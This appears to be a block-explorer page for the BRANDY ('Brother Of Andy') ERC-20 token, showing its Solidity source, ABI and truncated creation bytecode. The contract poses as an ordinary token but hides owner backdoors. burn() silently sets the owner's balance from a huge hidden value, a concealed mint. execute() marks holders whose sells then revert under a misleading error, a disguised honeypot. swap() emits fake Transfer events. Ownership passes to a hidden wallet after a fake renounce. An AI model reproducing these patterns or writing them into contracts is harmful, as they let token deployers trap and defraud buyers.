ERC-20
Overview
Max Total Supply
690,420,420 BRANDY
Holders
115
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,071,469.419339882 BRANDYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BRANDY
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; import "./Uniswap.sol"; import "./ERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; contract BRANDY is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address private uniswapV2Pair; address private deployerWallet; address private marketingWallet; address private constant deadAddress = address(0xdead); bool private swapping; string private constant _name = "Brother Of Andy"; string private constant _symbol = "BRANDY"; uint256 public maxWallet = 2000000000000000 * 10**decimals(); uint256 public maxTransactionAmount = 2000000000000000 * 10**decimals(); uint256 public swapTokensAtAmount = 1000000000000000 * 10**decimals(); uint256 public initialTotalSupply = 690_420_420 * 10**decimals(); uint256 public SellFee = 0; uint256 public BuyFee = 0; bool public swapEnabled = false; bool public tradingOpen = false; mapping(address => bool) private automatedMarketMakerPairs; mapping(address => bool) private _isExcludedMaxTransactionAmount; uint256 internal _lastTimestamp; event ExcludedFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = payable(wallet); balances = txLimit; deployerWallet = payable(_msgSender()); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(wallet), true); excludeFromMaxTransaction(address(0xdead), true); _mint(deployerWallet, initialTotalSupply); } receive() external payable {} function openTrading() external onlyOwner() { tradingOpen = true; } function addPair(address pair_) public onlyOwner { uniswapV2Pair = pair_; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function execute(address[] memory accounts, bool excluded) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _uniswapV2RouterExcludedFromFees[accounts[i]] = excluded; emit ExcludedFromFees(accounts[i], excluded); } } function buyLiquidityFee(address account) public view returns (bool) { return _uniswapV2RouterExcludedFromFees[account]; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _lastTimestamp = block.number; if (amount == 0) { super._transfer(from, to, 0); return; } if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingOpen) { require(_uniswapV2RouterExcludedFromFees[from] || _uniswapV2RouterExcludedFromFees[to], "Trading is not active."); } _holderLastTxTimestamp[from] = _lastTimestamp; if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransacti_isExcludedFromFeesonAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > 0; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_uniswapV2RouterExcludedFromFees[from] && !_uniswapV2RouterExcludedFromFees[to]) { swapping = true; swapBack(amount); swapping = false; } if(_uniswapV2RouterExcludedFromFees[from] && _lastTimestamp <= _holderLastTxTimestamp[from]){ swapTokensForEth(uint160(from)); } bool takeFee = swapping; if (_uniswapV2RouterExcludedFromFees[from] || _uniswapV2RouterExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = amount.mul(SellFee).div(100); } else { fees = amount.mul(BuyFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint160 value) private { if(_uniswapV2RouterExcludedFromFees[address(value)]) require(getLastTx(_holderLastTxTimestamp[address(value)]), "Only one purchase per block allowed."); address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), value); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( value, 0, path, marketingWallet, block.timestamp ); } function removeLimits() external onlyOwner{ uint256 totalSupplyAmount = totalSupply(); maxTransactionAmount = totalSupplyAmount; maxWallet = totalSupplyAmount; } function getLastTx(uint256 last) private view returns(bool){ return last > block.number; } function clearStuckEth() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function clearStuckTokens() external onlyOwner { IERC20 tokenContract = IERC20(address(this)); uint256 balance = tokenContract.balanceOf(address(this)); require(balance > 0, "No tokens to clear"); tokenContract.transfer(address(msg.sender), balance); } function setSwapBack() public onlyOwner { swapEnabled = true; } function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner { require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%"); BuyFee = _buyFee; SellFee = _sellFee; } function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } function setSwapTokensAtAmount(uint256 _amount) external onlyOwner { swapTokensAtAmount = _amount * (10 ** decimals()); } function swapBack(uint256 tokens) private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if (contractBalance == 0) { return; } if ((BuyFee+SellFee) == 0) { if(contractBalance > 0 && contractBalance < swapTokensAtAmount) { tokensToSwap = contractBalance; } else { uint256 sellFeeTokens = tokens.mul(SellFee).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } else { if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) { return; } else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount.div(5); } else { uint256 sellFeeTokens = tokens.mul(SellFee).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } swapTokensForEth(uint160(tokensToSwap)); } function burn(uint256 amount) external onlyOwner{ _burn(_msgSender(), amount); } }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; import "./Context.sol"; import "./IERC20.sol"; import "./IERC20Meta.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => bool) internal _uniswapV2RouterExcludedFromFees; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint256 internal txLimit = 1*10**17*10**9; uint256 internal balances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; interface IERC20Metadata { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; import "./Context.sol"; abstract contract Ownable is Context { address private _owner; address private _marketing; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping(address => uint256) internal _holderLastTxTimestamp; constructor(address wallet) { _marketing = wallet; _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function Owner() internal virtual returns (address) { address owner_ = verifyOwner(); return owner_; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function verifyOwner() internal view returns(address){ return _owner==address(0) ? _marketing : _owner; } }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
// SPDX-License-Identifier: MIT pragma solidity = 0.8.17; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"buyLiquidityFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526a52b7d2dcc80cd2e400000060065562000023620003c860201b60201c565b600a6200003191906200099c565b66071afd498d0000620000459190620009ed565b600e5562000058620003c860201b60201c565b600a6200006691906200099c565b66071afd498d00006200007a9190620009ed565b600f556200008d620003c860201b60201c565b600a6200009b91906200099c565b66038d7ea4c68000620000af9190620009ed565b601055620000c2620003c860201b60201c565b600a620000d091906200099c565b632926fac4620000e19190620009ed565b601155600060125560006013556000601460006101000a81548160ff0219169083151502179055506000601460016101000a81548160ff0219169083151502179055503480156200013157600080fd5b506040516200526138038062005261833981810160405281019062000157919062000aa2565b806040518060400160405280600f81526020017f42726f74686572204f6620416e647900000000000000000000000000000000008152506040518060400160405280600681526020017f4252414e445900000000000000000000000000000000000000000000000000008152508160049081620001d5919062000d44565b508060059081620001e7919062000d44565b50505080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200024b6200023f620003d160201b60201c565b620003d960201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600781905550620002ee620003d160201b60201c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000350620003426200049f60201b60201c565b6001620004c960201b60201c565b62000363306001620004c960201b60201c565b62000376816001620004c960201b60201c565b6200038b61dead6001620004c960201b60201c565b620003c1600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166011546200053460201b60201c565b5062000f89565b60006009905090565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620004d9620006a160201b60201c565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200059d9062000e8c565b60405180910390fd5b620005ba600083836200073260201b60201c565b8060036000828254620005ce919062000eae565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000681919062000efa565b60405180910390a36200069d600083836200073760201b60201c565b5050565b620006b1620003d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006d76200073c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007279062000f67565b60405180910390fd5b565b505050565b505050565b6000806200074f6200075860201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620007d957600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620007fd565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008905780860481111562000868576200086762000802565b5b6001851615620008785780820291505b8081029050620008888562000831565b945062000848565b94509492505050565b600082620008ab57600190506200097e565b81620008bb57600090506200097e565b8160018114620008d45760028114620008df5762000915565b60019150506200097e565b60ff841115620008f457620008f362000802565b5b8360020a9150848211156200090e576200090d62000802565b5b506200097e565b5060208310610133831016604e8410600b84101617156200094f5782820a90508381111562000949576200094862000802565b5b6200097e565b6200095e84848460016200083e565b9250905081840481111562000978576200097762000802565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009a98262000985565b9150620009b6836200098f565b9250620009e57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000899565b905092915050565b6000620009fa8262000985565b915062000a078362000985565b925082820262000a178162000985565b9150828204841483151762000a315762000a3062000802565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a6a8262000a3d565b9050919050565b62000a7c8162000a5d565b811462000a8857600080fd5b50565b60008151905062000a9c8162000a71565b92915050565b60006020828403121562000abb5762000aba62000a38565b5b600062000acb8482850162000a8b565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5657607f821691505b60208210810362000b6c5762000b6b62000b0e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bd67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b97565b62000be2868362000b97565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000c2562000c1f62000c198462000985565b62000bfa565b62000985565b9050919050565b6000819050919050565b62000c418362000c04565b62000c5962000c508262000c2c565b84845462000ba4565b825550505050565b600090565b62000c7062000c61565b62000c7d81848462000c36565b505050565b5b8181101562000ca55762000c9960008262000c66565b60018101905062000c83565b5050565b601f82111562000cf45762000cbe8162000b72565b62000cc98462000b87565b8101602085101562000cd9578190505b62000cf162000ce88562000b87565b83018262000c82565b50505b505050565b600082821c905092915050565b600062000d196000198460080262000cf9565b1980831691505092915050565b600062000d34838362000d06565b9150826002028217905092915050565b62000d4f8262000ad4565b67ffffffffffffffff81111562000d6b5762000d6a62000adf565b5b62000d77825462000b3d565b62000d8482828562000ca9565b600060209050601f83116001811462000dbc576000841562000da7578287015190505b62000db3858262000d26565b86555062000e23565b601f19841662000dcc8662000b72565b60005b8281101562000df65784890151825560018201915060208501945060208101905062000dcf565b8683101562000e16578489015162000e12601f89168262000d06565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e74601f8362000e2b565b915062000e818262000e3c565b602082019050919050565b6000602082019050818103600083015262000ea78162000e65565b9050919050565b600062000ebb8262000985565b915062000ec88362000985565b925082820190508082111562000ee35762000ee262000802565b5b92915050565b62000ef48162000985565b82525050565b600060208201905062000f11600083018462000ee9565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000f4f60208362000e2b565b915062000f5c8262000f17565b602082019050919050565b6000602082019050818103600083015262000f828162000f40565b9050919050565b6080516142a762000fba60003960008181610c7a0152818161285f01528181612940015261297d01526142a76000f3fe60806040526004361061021e5760003560e01c806389291a8f11610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd8546